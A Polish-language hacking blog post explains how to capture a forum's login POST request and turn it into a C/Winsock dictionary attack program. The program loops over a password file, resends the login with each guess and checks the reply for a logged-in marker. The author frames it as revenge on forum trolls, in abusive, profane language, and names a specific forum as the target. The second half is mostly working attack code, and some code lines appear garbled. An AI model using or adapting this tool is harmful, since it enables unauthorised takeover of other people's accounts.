Na koniec poprzedniego arta o skanerze TCP/IP napisałem, że w kolejnym arcie można zrobić skaner oparty na testowaniu portów tylko jedną flagą np SYN. W zasadzie stwierdzam, że nie jest to na tyle trudne, żeby poświęcać na to osobny art bo doskonały wzór na to rozwiązanie zawarty jest w poprzednich dwóch artach. Jest tam opisana idea, są struktury, funkcje - wszystko tam jest, trzeba tylko odpowiednio zmodyfikować strukture TCP i zaznaczyć, którą flagę (pole bitowe) chce się ustawić. W wierszu poleceń można nawet dodać opcje wybrania której flagi, czy SYN, ACK a może FIN - a może i nie.
Aby zatem jeszcze bardziej wkręcić się w sockety i praktykę, można zrealizować inne ciekawe zadanie. Na bank przydażyła Ci się kiedyś sytuacja, kiedy męczyłeś się z jebanym trollem na jakimś forum. Loguje się taka pizda, wypisuje bzdury i obraża wszystkich dookoła. To co pisze jest tak durne, że zastanawiasz się skąd to coś się w ogóle wzięło. Takich zjebów jest cała masa i nie tylko w virtualu - co z tym zrobić?
Przyda się znajomość socketow, odrobina wiedzy na temat HTTP no i kompilator. Zaloguje się teraz na forum gdzie mam konto i przeanalizuję moje żądanie - REQUEST - w stronę serwera. Czym jest żądanie pobrania strony? To pakiet TCP/IP a w 'dziale' danych nagłówka TCP znajduje się moje żądanie. Jak mogę podejrzeć takie coś? Proponuję jedną z dwóch metod - wtyczka do Firefox Live HTTP Headers albo sniffer. Pierwsza opcja jest szybsza i mniej zaawansowana. Okey, Firefox otwarty, strona otwarta i gotowa do wpisania loginu i hasła, okno wtyczki Live HTTP Headers uruchomione więc wpisuję login i hasło [ENTER] i patrzę na listing:
POST /index/logowanie/ HTTP/1.1
Host: www.devilpage.pl
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.9.1.5)
Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-us;q=0.7,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-2,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://www.devilpage.pl/
Cookie: 90plan=R42640.....; PHPSESSID=e73e411183364c2baf226e77........
Content-Type: application/x-www-form-urlencoded
Content-Length: 6.
login=prot&pam=on&haslo=HASLO&zaloguj=Zaloguj
Co to jest? To jest zapytanie jakie skonstruowała moja przeglądarka w celu pobrania strony, na której będę widnieć jako użytkownik ZALOGOWANY. Okey, ale co dalej z tym robić? Pierwsza sprawa - dobrze byłoby wiedzieć, że to co przedstawione wyżej ( REQUEST ), może a nawet POWINNO znaleźć się w moim pakiecie jaki wystrzele w kierunku serwera HTTP.
Czy muszę budować pakiet od nowa jak w pierwszym arcie? Absolutnie NIE! Tutaj wystarczy, że przekażę taki właśnie REQUEST do bufora przy okazji wywołania funkcji send() - proste. Bufor w tej funkcji stanowi dane protokołu TCP. Protokoły warstwy aplikacji modelu OSI w Internecie porozumiewają się właśnie na bazie danych protokołu TCP - czyli takiego bufora.
char httpRequest[] = { "POST /index/logowanie/ HTTP/1.1\r\n\"
"Host: www.devilpage.pl\r\n"
"User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.9.1.5) "
"Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729)\r\n"
"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
"Accept-Language: pl,en-us;q=0.7,en;q=0.3\r\n"
"Accept-Encoding: gzip,deflate\r\n"
"Accept-Charset: ISO-8859-2,utf-8;q=0.7,*;q=0.7\r\n"
"Keep-Alive: 300\r\n"
"Connection: keep-alive\r\n"
"Referer: http://www.devilpage.pl/\r\n"
"Cookie: 90plan=R42640.....; PHPSESSID=e73e411183364c2baf226e77........\r\n"
"Content-Type: application/x-www-form-urlencoded\r\n"
"Content-Length: 6.\r\n\r\n"
"login=prot&pam=on&haslo=HASLO&zaloguj=Zaloguj" };
To jest właśnie bufor jaki przekażę jako parametr do funkcji send. Dlaczego prawie? No i teraz trochę o HTTP: żądanie pobrania zasobu np strony z serwera HTTP składa się z nagłowków. Są one opcjonalne a ich kolejność nie ma znaczenia - serwer HTTP i tak odpowiednio je zinterpretuje. Ale żeby zapytanie miało sens, muszą pojawić się niektóre nagłowki. Na pewno pierwszy nagłówek (1) POST(...), (2) Host:(...) - tyle w zasadzie wystarczy do pobrania strony z serwera HTTP. Gdzieś tam kiedyś pewnie widziałeś telnetową sesję pobrania strony - ktoś tam wpisywał GET X [ENTER] Host: Y [ENTERx2] a w konsoli pojawiał się kod źródłowy strony. Serwer HTTP oraz inne protokoły warstwy aplikacji interpretują po prostu linijka po linijce (\r\n\) bufor rządania i postępują zgodnie ze specyfikacją protokołu.
Mi do zalogowania się na stronę forum nie wystarczą te dwa nagłowki. Łatwiej będzie odsiać to czego nie potrzebuję - pominę bankowo nagłowek: Accept-Encoding: gzip,deflate. Why - nie chcę aby strona jaka zostanie pobrana przy okazji mojego żądania była zapełniona krzaczkami w związku z zakodowaniem jej treści. W razie braku tego nagłówka, serwer domyślnie wyślę do mnie czytelny kod strony WWW (zupełnie zrozumiały a nie jakieś chwasty). Co by tu jeszcze pominąć? Może nic więcej? - okey. Ale dlaczego nie pasują mi te krzaki? Dlatego, że teraz zaloguje się na forum i poszukam jakieś charakterystycznego fragmentu kodu źródłowego strony, który odróżnia stan zalogowania od stanu niezalogowania:
<div id="profil">
<form action="/index/logowanie/" method="post">
<table class="log_form">
<tr>
<td><strong>Login:</strong></td>
<td align="right"><input type="text" name="login" size="15" /></td>
<td><input type="checkbox" checked="checked" name="pam" class="pam" /> Zapamiętaj</td>
</tr>
<tr>
<td><strong>Hasło:</strong></td>
<td align="right"><input type="password" name="haslo" size="15"/></td>
<td><input type="submit" name="zaloguj" value="Zaloguj" /></td>
</tr>
<tr>
<td colspan="6" align="center"><a href="/index/reg/">Zarejestruj się</a> - <a href="/index/haslo/">
Przypomnij hasło</a> </td>
</tr>
</table>
</form>
</div>
A po zalogowaniu:
<div id="profil">
<div class="av"><img src="/img/avatary/prot.png" alt="prot" border="0" /></div>
<span class="profil_sep"></span>
Witaj <strong><a href="/index/profile/pokaz/28607/prot">prot</a></strong><br />
<table style="font-size: 9pt;">
<tr>
<td>&raquo; <a href="/index/profile/edytuj/">edytuj profil</a></td>
<td>&raquo; <a href="/index/pw/">wiadomości (0)</a></td>
</tr>
<tr>
<td>&raquo; <a href="/index/newsy_od_userow/">prześlij newsa</a></td>
<td>&raquo; <a href="/index/logowanie/wyloguj/">wyloguj się</a></td>
</tr>
</table>
</div>
Po co to? Jeśli uda mi się pobrać stronę ale podałem błędne hasło - wtedy w buforze odpowiedzi otrzymam kod pierwszy. Jeśli wyślę żądanie z poprawnym hasłem, wtedy otrzymam w buforze odpowiedzi od serwera drugi kod. Wystarczy sprawdzić po każdej odpowiedzi serwera, czy w buforze odpowiedzi znajduje jakiś charakterystyczny fragment np: [ alt="prot" ] - wtedy będę wiedział, że udało mi się wysłać zupełnie poprawne żądanie. Teraz wiesz już dlaczego nie można pozwolić aby serwer przesłał w odpowiedzi krzaki (skompresowaną witrynę). Zwróc uwagę na ostatnią linię żądania - są tam parametry logowania. Zwróc też uwagę na nagłowek Content-Length: - zawiera on wartość stanowiącą długość ostatniej lini mojego żądania.
Co dalej - teraz wystarczy wygenerować jakiś pliczek z hasłami, proponuję najpierw utworzyć go ręcznie tzn wpisać hasła prawdopodobne, głupie, oczywiste, wykonać ich drobą permutację [ online ] - przygotować się generalnie do ataku słownikowego ale z głową. Następnie w pętli będziesz musiał modyfikować odpowiednio bufor tak, aby ostatnia linia zawierała hasło pobrane z pliku a nagłowek Content-Length zmieniał się w zależności od długości ostatniej linii żądania. Następnie taki Request przesyłasz do serwera i czekasz na odpowiedź. W buforze odpowiedzi szukasz charakterystycznego fragmentu kodu - jeśli znalazłeś - udało Ci się zalogować, jeśli nie - działasz dalej:
int _tmain(int argc, _TCHAR* argv[])
{
WSADATA wsaData;
if(WSAStartup(MAKEWORD(1,1), &wsaData) != 0)
{
fprintf(stderr
,"WSAStartup failed.\n"); return(-1);
} else {
fprintf(stdout
,"WSAStartup success.\n"); }
FILE
*fPtr
= fopen( "C:\\pass.txt", "r" ); int ileHasel = policzHasla( fPtr );
fprintf( stdout
, "Ilosc hasel: %d\n", ileHasel
); char buforRequest[1024] = { "POST /index/logowanie/ HTTP/1.1\r\n"
"Host: www.devilpage.pl\r\n"
"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
"Accept-Language: pl,en-us;q=0.7,en;q=0.3\r\n"
"Accept-Charset: ISO-8859-2,utf-8;q=0.7,*;q=0.7\r\n"
"Keep-Alive: 300\r\n"
"Connection: keep-alive\r\n"
"Referer: <a href="http://www.devilpage.pl/">http://www.devilpage.pl/</a>\r\n" };
for( int n=0; n<ileHasel; n++ ) {
char payload[256];
memset( payload
, 0, 256 ); /* login & password */ char passBuffer[32];
char buforRequestSend[1024];
memset( buforRequestSend
, 0, 1024 ); strcpy( buforRequestSend
, buforRequest
);
if( createPayload( "prot", pobierzHaslo( fPtr, passBuffer ), payload ) == 0 )
break;
char buforTemp[1024];
strcpy( &
;buforRequestSend
[ strlen( buforRequestSend
) ], addCookie
( "Cookie: 90plan=R42640.....; PHPSESSID=e73e411183364c2baf226e77........\r\n", payload, buforTemp ));
if( SendRequest( buforRequestSend, passBuffer, n ) )
break;
}
WSACleanup();
return 0;